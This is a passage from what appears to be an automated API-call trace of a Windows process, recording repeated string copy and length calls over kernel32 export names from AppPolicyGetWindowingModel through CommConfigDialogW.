lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0147.856] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0147.856] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0147.856] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0147.856] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0147.856] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0147.856] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0147.856] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0147.856] lstrlenA (lpString="BACKUPREAD") returned 10 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0147.856] lstrlenA (lpString="BACKUPSEEK") returned 10 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0147.856] lstrlenA (lpString="BACKUPWRITE") returned 11 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0147.856] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0147.856] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0147.856] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0147.857] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0147.857] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0147.857] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0147.857] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0147.857] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0147.857] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0147.857] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0147.857] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0147.857] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0147.857] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0147.857] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0147.857] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0147.857] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0147.857] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0147.857] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0147.857] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0147.857] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0147.857] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0147.857] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0147.857] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0147.857] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0147.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0147.858] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0147.858] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0147.858] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0147.858] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0147.858] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0147.858] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0147.858] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0147.858] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0147.858] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0147.858] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0147.858] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0147.858] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0147.858] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0147.858] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0147.858] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0147.858] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0147.858] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0147.858] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0147.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0147.859] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0147.859] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0147.859] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0147.859] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0147.859] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0147.859] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0147.859] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0147.859] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0147.859] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0147.859] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0147.859] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0147.859] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0147.859] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0147.859] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0147.859] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0147.859] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0147.859] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0147.859] lstrlenA (lpString="BEEP") returned 4 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0147.859] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0147.859] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0147.859] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0147.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0147.860] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0147.860] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0147.860] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0147.860] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0147.860] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0147.860] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0147.860] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0147.860] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0147.860] lstrlenA (lpString="CANCELIO") returned 8 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0147.860] lstrlenA (lpString="CANCELIOEX") returned 10 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0147.860] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0147.860] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0147.860] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0147.860] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0147.860] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0147.860] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0147.860] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0147.860] lstrlenA (lpString="CHECKELEVATION") returned 14 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0147.860] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0147.860] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0147.860] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0147.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0147.860] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0147.861] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0147.861] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0147.861] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0147.861] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0147.861] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0147.861] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0147.861] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0147.861] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0147.861] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0147.861] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0147.861] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0147.861] lstrlenA (lpString="CLOSESTATE") returned 10 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0147.861] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0147.861] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0147.861] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0147.861] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0147.861] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0147.861] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0147.861] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0147.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0147.861] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0147.862] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0147.862] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 